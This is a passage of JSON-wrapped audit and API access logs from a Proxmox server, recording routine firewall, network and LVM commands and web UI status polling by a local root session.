a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65204 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964355491,"@rawstring":"node=pve type=EXECVE msg=audit(1781964355.491:60667): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965150889,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:10 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1109"} {"@timestamp":1781964278581,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964278.581:60349): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57945 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965965682,"@rawstring":"node=pve type=EXECVE msg=audit(1781965965.682:67868): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965715379,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965715.379:66781): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc138960 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64139 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965975773,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965975.773:67898): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8b053f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65203 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964355488,"@rawstring":"node=pve type=EXECVE msg=audit(1781964355.488:60666): argc=1 a0=\"date\""} {"@timestamp":1781965150889,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:09 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 908"} {"@timestamp":1781964278581,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964278.581:60348): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57945 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965965677,"@rawstring":"node=pve type=EXECVE msg=audit(1781965965.677:67867): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965714137,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965714.137:66780): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d6e5c110 a1=64f8d7410ee0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=64138 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965975765,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965975.765:67897): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f1090 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65202 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964355469,"@rawstring":"node=pve type=EXECVE msg=audit(1781964355.469:60664): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965150889,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:19:09 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 499"} {"@timestamp":1781964278573,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964278.573:60346): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57944 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965965670,"@rawstring":"node=pve type=EXECVE msg=audit(1781965965.670:67866): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965714107,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965714.107:66779): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d5935fb0 a1=64f8d7410770 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=64137 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965975755,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965975.755:67896): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc12d560 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65201 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964355446,"@rawstring":"node=pve type=EXECVE msg=audit(1781964355.446:60663): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965149885,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:09 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 490"} {"@timestamp":1781964278573,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964278.573:60345): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57944 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965965663,"@rawstring":"node=pve type=EXECVE msg=audit(1781965965.663:67865): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965714049,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965714.049:66778): arch=c000003e syscall=59 success=yes exit=0 a0=7ffdd41f6b10 a1=64f8d71ae6f0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=64134 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965975591,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965975.591:67895): arch=c000003e syscall=59 success=yes exit=0 a0=61301a95cab0 a1=61301a8cca30 a2=61301a8aab30 a3=8 items=3 ppid=1541 pid=65200 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=1 comm=\"pvesh\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964355428,"@rawstring":"node=pve type=EXECVE msg=audit(1781964355.428:60662): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965149885,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:08 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964275606,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964275.606:60341): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe41a29630 a1=64faa50d1310 a2=64faa50ca680 a3=5 items=1 ppid=57937 pid=57938 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965965656,"@rawstring":"node=pve type=EXECVE msg=audit(1781965965.656:67864): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965714047,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965714.047:66777): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64133 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965974963,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965974.963:67894): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d741ba40 a1=64f8d741ba60 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=65198 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964355419,"@rawstring":"node=pve type=EXECVE msg=audit(1781964355.419:60661): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965149885,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:08 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 921"} {"@timestamp":1781964275516,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964275.516:60323): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd8c8b5000 a1=57b4322a6200 a2=57b432284680 a3=5 items=1 ppid=57918 pid=57919 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965965650,"@rawstring":"node=pve type=EXECVE msg=audit(1781965965.650:67863): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965714038,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965714.038:66774): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64132 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965974963,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965974.963:67893): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65199 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964355390,"@rawstring":"node=pve type=EXECVE msg=audit(1781964355.390:60660): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965148769,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:19:07 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1109"} {"@timestamp":1781964273563,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964273.563:60313): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57908 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965965646,"@rawstring":"node=pve type=EXECVE msg=audit(1781965965.646:67862): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965709029,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965709.029:66771): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64131 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964355366,"@rawstring":"node=pve type=EXECVE msg=audit(1781964355.366:60659): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965974958,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965974.958:67890): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65197 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965148769,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:07 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 907"} {"@timestamp":1781964273563,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964273.563:60312): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57908 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965965642,"@rawstring":"node=pve type=EXECVE msg=audit(1781965965.642:67861): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965709023,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965709.023:66768): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64130 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964354176,"@rawstring":"node=pve type=EXECVE msg=audit(1781964354.176:60658): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965974929,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965974.929:67887): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73cf080 a1=64f8d6f88c80 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=65196 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965147658,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:06 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1104"} {"@timestamp":1781964273550,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964273.550:60310): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57907 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965965641,"@rawstring":"node=pve type=EXECVE msg=audit(1781965965.641:67860): argc=1 a0=\"date\""} {"@timestamp":1781965708796,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965708.796:66765): arch=c000003e syscall=59 success=yes exit=0 a0=61301a95cab0 a1=61301a956c10 a2=61301a8aab30 a3=8 items=2 ppid=1541 pid=64129 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=1 comm=\"tar\" exe=\"/usr/bin/tar\" subj=unconfined key=\"exec\""} {"@timestamp":1781964354098,"@rawstring":"node=pve type=EXECVE msg=audit(1781964354.098:60657): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965969954,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965969.954:67886): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65193 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965147658,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:19:06 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 507"} {"@timestamp":1781964273550,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964273.550:60309): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57907 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965965637,"@rawstring":"node=pve type=EXECVE msg=audit(1781965965.637:67858): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965705367,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965705.367:66764): arch=c000003e syscall=59 success=yes exit=0 a0=58fe294190e0 a1=58fe29415e60 a2=58fe293f7680 a3=5 items=2 ppid=64122 pid=64128 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964353998,"@rawstring":"node=pve type=EXECVE msg=audit(1781964353.998:60656): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965969946,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965969.946:67883): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954c70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65192 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965147658,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:06 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 895"} {"@timestamp":1781964268541,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964268.541:60307): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57906 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965965628,"@rawstring":"node=pve type=EXECVE msg=audit(1781965965.628:67857): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965705364,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965705.364:66763): arch=c000003e syscall=59 success=yes exit=0 a0=58fe2323bac8 a1=7ffdfefb2690 a2=58fe293f7680 a3=58fe2321f24e items=2 ppid=64122 pid=64124 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964353983,"@rawstring":"node=pve type=EXECVE msg=audit(1781964353.983:60653): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965965741,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965965.741:67880): arch=c000003e syscall=59 success=yes exit=0 a0=629ebf8980e0 a1=629ebf894e60 a2=629ebf876680 a3=5 items=2 ppid=65185 pid=65191 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965146554,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:06 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 502"} {"@timestamp":1781964268541,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964268.541:60306): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57906 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965965620,"@rawstring":"node=pve type=EXECVE msg=audit(1781965965.620:67856): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965705363,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965705.363:66762): arch=c000003e syscall=59 success=yes exit=0 a0=7ffdfefb2650 a1=58fe293fe310 a2=58fe293f7680 a3=5 items=2 ppid=64122 pid=64123 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964348926,"@rawstring":"node=pve type=EXECVE msg=audit(1781964348.926:60650): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965965738,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965965.738:67879): arch=c000003e syscall=59 success=yes exit=0 a0=629ebad29ac8 a1=7ffdd7268800 a2=629ebf876680 a3=629ebad0d24e items=2 ppid=65185 pid=65187 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965146554,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:05 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964268533,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964268.533:60304): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57905 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965965615,"@rawstring":"node=pve type=EXECVE msg=audit(1781965965.615:67855): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965705358,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965705.358:66760): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=64122 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964348902,"@rawstring":"node=pve type=EXECVE msg=audit(1781964348.902:60647): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965965737,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965965.737:67878): arch=c000003e syscall=59 success=yes exit=0 a0=7ffdd72687c0 a1=629ebf87d310 a2=629ebf876680 a3=5 items=2 ppid=65185 pid=65186 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965146554,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:05 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 905"} {"@timestamp":1781964268533,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964268.533:60303): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57905 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965965605,"@rawstring":"node=pve type=EXECVE msg=audit(1781965965.605:67854): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965705350,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965705.350:66759): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64121 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964345318,"@rawstring":"node=pve type=EXECVE msg=audit(1781964345.318:60644): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965965733,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965965.733:67876): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=65185 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965145425,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:19:04 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1088"} {"@timestamp":1781964265462,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964265.462:60299): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc5f46a0c0 a1=6045daa61310 a2=6045daa5a680 a3=5 items=1 ppid=57898 pid=57899 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965965597,"@rawstring":"node=pve type=EXECVE msg=audit(1781965965.597:67853): 